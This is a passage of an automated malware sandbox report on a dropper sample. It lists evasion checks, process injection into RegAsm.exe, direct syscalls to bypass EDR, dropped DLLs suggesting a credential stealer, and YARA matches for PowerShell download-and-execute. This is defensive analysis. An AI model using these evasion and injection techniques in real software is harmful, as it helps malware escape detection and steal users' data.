Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: oOMgVil3z78TF92yUiI1jBjJ.exe PID: 7876, type: MEMORYSTR

Found evasive API chain (may stop execution after checking locale)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

Source: C:\Users\user\Documents\piratemamm\E7ZgIS5gIvcD0qYA4MsN8rsr.exe	Memory allocated: 3160000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\E7ZgIS5gIvcD0qYA4MsN8rsr.exe	Memory allocated: 3360000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\E7ZgIS5gIvcD0qYA4MsN8rsr.exe	Memory allocated: 32A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\3rS3zgtrHYzvSBWEegYZ8AEZ.exe	Memory allocated: 16B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\3rS3zgtrHYzvSBWEegYZ8AEZ.exe	Memory allocated: 30B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\3rS3zgtrHYzvSBWEegYZ8AEZ.exe	Memory allocated: 1710000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Memory allocated: 1AF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Memory allocated: 3880000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Memory allocated: 3790000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe

Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion

Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe

Code function: 9_2_0073471C rdtsc

9_2_0073471C

Source: C:\Users\user\Documents\piratemamm\E7ZgIS5gIvcD0qYA4MsN8rsr.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\3rS3zgtrHYzvSBWEegYZ8AEZ.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 953
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1745

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\66d0cd8fb6f7b_lgjfd[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[2].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\CBFCFBFBFB.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\main\7z.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\userAFCBFIJEHD.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\l2[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

API coverage: 5.1 %

Source: C:\Users\user\Desktop\gHPYUEh253.exe TID: 7656	Thread sleep count: 43 > 30	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\E7ZgIS5gIvcD0qYA4MsN8rsr.exe TID: 7996	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\3rS3zgtrHYzvSBWEegYZ8AEZ.exe TID: 7936	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe TID: 7948	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7156	Thread sleep count: 333 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7156	Thread sleep time: -1998000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3492	Thread sleep count: 953 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2688	Thread sleep count: 65 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3624	Thread sleep count: 205 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3288	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5468	Thread sleep count: 1745 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7988	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5468	Thread sleep count: 109 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7928	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe

Code function: 9_2_004A4C54 GetSystemTimes followed by cmp: cmp dword ptr [004b6d24h], 0ah and CTI: jne 004A4E49h

9_2_004A4C54

Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	Code function: 7_2_0040553A FindFirstFileA,	7_2_0040553A
Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	Code function: 7_2_004055DE __EH_prolog,FindFirstFileW,AreFileApisANSI,FindFirstFileA,	7_2_004055DE
Source: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe	Code function: 8_2_0040367D GetFileAttributesW,SetLastError,FindFirstFileW,FindClose,CompareFileTime,	8_2_0040367D
Source: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe	Code function: 8_2_004031DC FindFirstFileW,SetFileAttributesW,lstrcmpW,lstrcmpW,SetFileAttributesW,DeleteFileW,FindNextFileW,FindClose,SetFileAttributesW,RemoveDirectoryW,??3@YAXPAX@Z,??3@YAXPAX@Z,	8_2_004031DC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0040D8C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	11_2_0040D8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0040F4F0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	11_2_0040F4F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0040BCB0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	11_2_0040BCB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_004139B0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	11_2_004139B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0040E270 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	11_2_0040E270
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_00401710 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	11_2_00401710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_004143F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	11_2_004143F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0040DC50 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	11_2_0040DC50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_00414050 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlenA,lstrlenA,	11_2_00414050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0040EB60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,FindNextFileA,FindClose,	11_2_0040EB60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_004133C0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,lstrcat,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,FindNextFileA,FindClose,	11_2_004133C0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_00401160 GetSystemInfo,ExitProcess,

11_2_00401160

Source: C:\Users\user\Documents\piratemamm\E7ZgIS5gIvcD0qYA4MsN8rsr.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\3rS3zgtrHYzvSBWEegYZ8AEZ.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	File opened: C:\Users\user\AppData\Local\Temp\7zSFC24.tmp\__data__\	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	File opened: C:\Users\user\AppData\Local\Temp\7zSFC24.tmp\	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	File opened: C:\Users\user\	Jump to behavior

Source: RegAsm.exe, 0000000F.00000002.2730669215.0000000000C58000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWY
Source: gHPYUEh253.exe, 00000000.00000002.1855872127.0000013EF3288000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000002.1855872127.0000013EF321C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2372338745.0000000000F09000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2487784931.0000000000DBB000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2730669215.0000000000C58000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: RegAsm.exe, 0000000F.00000002.2730669215.0000000000BFA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: RegAsm.exe, 0000000B.00000002.2372338745.0000000000EAA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2730669215.0000000000BFA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh
Source: RegAsm.exe, 0000000C.00000002.2487784931.0000000000D5A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWH

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node

Source: C:\Users\user\Desktop\gHPYUEh253.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe

Code function: 9_2_0073471C rdtsc

9_2_0073471C

Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe

Code function: 9_2_00401006 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

9_2_00401006

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_00404610 VirtualProtect ?,00000004,00000100,00000000

11_2_00404610

Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe

Code function: 7_2_00418320 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

7_2_00418320

Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	Code function: 9_2_007330A3 push dword ptr fs:[00000030h]	9_2_007330A3
Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	Code function: 9_2_020E0042 push dword ptr fs:[00000030h]	9_2_020E0042
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_00419160 mov eax, dword ptr fs:[00000030h]	11_2_00419160

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_00405000 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetOpenUrlA,InternetReadFile,memcpy,InternetCloseHandle,InternetCloseHandle,

11_2_00405000

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	Code function: 7_2_0041584A SetUnhandledExceptionFilter,	7_2_0041584A
Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	Code function: 7_2_0041585C SetUnhandledExceptionFilter,	7_2_0041585C
Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	Code function: 9_2_00401006 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_2_00401006
Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	Code function: 9_2_00404345 SetUnhandledExceptionFilter,	9_2_00404345
Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	Code function: 9_2_00406F9A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_00406F9A
Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	Code function: 9_2_004041B5 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_2_004041B5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0041C8D9 SetUnhandledExceptionFilter,	11_2_0041C8D9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0041ACFA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	11_2_0041ACFA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0041A718 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_0041A718
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F1B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_68F1B1F7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F1B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	11_2_68F1B66C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_690CAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_690CAC62

Source: C:\Users\user\Documents\piratemamm\E7ZgIS5gIvcD0qYA4MsN8rsr.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: E7ZgIS5gIvcD0qYA4MsN8rsr.exe PID: 7788, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 3rS3zgtrHYzvSBWEegYZ8AEZ.exe PID: 7796, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: oOMgVil3z78TF92yUiI1jBjJ.exe PID: 7876, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7964, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 8008, type: MEMORYSTR

Allocates memory in foreign processes

Source: C:\Users\user\Documents\piratemamm\E7ZgIS5gIvcD0qYA4MsN8rsr.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\3rS3zgtrHYzvSBWEegYZ8AEZ.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Users\user\Documents\piratemamm\E7ZgIS5gIvcD0qYA4MsN8rsr.exe

Code function: 2_2_0336258D CreateProcessA,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,

2_2_0336258D

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\Documents\piratemamm\ZsQxSfwnc3ehFR9PxEV79BAM.exe	NtProtectVirtualMemory: Direct from: 0x140F68E97	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\ZsQxSfwnc3ehFR9PxEV79BAM.exe	NtMapViewOfSection: Direct from: 0x141821963	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\ZsQxSfwnc3ehFR9PxEV79BAM.exe	NtProtectVirtualMemory: Direct from: 0x140F42CBC	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	NtMapViewOfSection: Direct from: 0x7FF72B1D6E4B	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	NtProtectVirtualMemory: Direct from: 0x7FF72B1FD06E	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\ZsQxSfwnc3ehFR9PxEV79BAM.exe	NtProtectVirtualMemory: Direct from: 0x14183B5C6	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\ZsQxSfwnc3ehFR9PxEV79BAM.exe	NtOpenFile: Direct from: 0x141793664	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	NtProtectVirtualMemory: Direct from: 0x7FF72AF1CF59	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	NtClose: Direct from: 0x7FF72AE55FE4
Source: C:\Users\user\Documents\piratemamm\ZsQxSfwnc3ehFR9PxEV79BAM.exe	NtProtectVirtualMemory: Direct from: 0x1417A9B34	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	NtOpenFile: Direct from: 0x7FF72AE7D60B	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\ZsQxSfwnc3ehFR9PxEV79BAM.exe	NtProtectVirtualMemory: Direct from: 0x141821A46	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	NtProtectVirtualMemory: Indirect: 0x7FF72AE40EB5	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	NtProtectVirtualMemory: Direct from: 0x7FF72AEC2451	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	NtProtectVirtualMemory: Direct from: 0x7FF72AF8277A	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	NtProtectVirtualMemory: Direct from: 0x7FF72AF1AC5F	Jump to behavior
